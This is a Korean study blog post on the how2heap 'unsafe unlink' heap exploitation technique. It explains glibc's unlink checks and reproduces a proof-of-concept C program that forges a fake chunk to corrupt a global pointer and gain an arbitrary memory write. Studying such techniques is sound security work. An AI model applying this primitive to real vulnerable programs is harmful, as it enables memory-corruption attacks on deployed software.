[Pwn][glibc_2.41]how2heap-unsafe_unlink.c

김민주·2025년 9월 30일

security

목록 보기
4/14

-> 검증 매크로
-> bin의 double linked list에서 중간에 있는 chunk가 나가게 되면 그 앞과 뒤를 다시 연결해주는 작업을 할 때 사용한다.
-> chunk의 사이즈가 증가하여 다른 bin 리스트로 이동할 때 사용한다.

출처 : https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/

condition

  • heap 영역을 전역변수에서 관리한다.
  • 2개의 할당 chunk가 필요하며 한 개는 fake chunk를 생성할 수 있어야 한다.
  • 첫 번째 chunk를 통해 두 번째 chunk의 헤더를 조작할 수 있어야 한다.

하단의 코드는 https://github.com/lattera/glibc/blob/master/malloc/malloc.c
에서 unlink의 매크로의 내용이다.

#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");			      \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr ("corrupted double-linked list");			      \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (chunksize_nomask (P))			      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr ("corrupted double-linked list (not small)");   \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}
  1. 조건문 1
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \

chunksize(P) 와 prev_size(next_chunk(P)) 값이 같지 않으면 참이 아니다.
<=> chunksize(P) == prev_size(next_chunk(P)) 이면 참이다.
※ __builtin_expect(exp, c)
컴파일러에게 exp == c인 경우가 더 흔함을 알려준다.

=> boundary tag가 제대로 들어가있는지 체크한다.
※ boundary tag
- glibc malloc에서의 각 chunk(힙 블록)에는 메타데이터가 붙는다.

    -> 현재 chunk의 size : chunk -> size
    -> 다음 chunk의 prev_size : next_chunk -> prev_size
	
  1. 조건문 2
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \

FD->bk와 P가 같지 않거나 BK->fd와 P가 같지 않으면 참이 아니다.
<=> FD->bk와 BK->fd 모두 P와 동일하면 참이 된다.
- FD->bk는 다음 chunk의 이전 chunk로 자기자신(P)이다. (p->bk->fd)
- BK->fd는 이전 chunk의 다음 chunk로 자기자신(P)이다. (p->bk->fd)

scenario

  1. 2개의 allocated chunk를 할당해준다.
  2. 첫번째 조건문과 두번째 조건문을 우회하기 위한 fake chunk를 만든다.
    • fake chunk의 prev_size, size : 0x0
    • fake chunk의 fd : [원하는 주소] - 0x30
    • fake chunk의 bk : [원하는 주소] - 0x20
    • 다음 chunk의 prev_size : fake chunk size
    • 다음 chunk의 PREV_INUSE [P] bit : 0x0
  3. 2번째 allocated chunk를 해제한다.
  4. 첫번째 조건문 검증
    • fake chunk의 size는 0x0이고, prev_size(next_chunk(fake))도 0x0이므로 통과된다.
  5. 두번째 조건문 검증

unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 20.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size);
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size);
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
	chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3); \\24바이트
	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

참고 :
https://rninche01.tistory.com/entry/heap-exploit-Unsafe-Unlink
https://bpsecblog.wordpress.com/2016/10/06/heap_vuln/
https://velog.io/@msh1307/Unsafe-Unlink-%EB%B6%84%EC%84%9D

0개의 댓글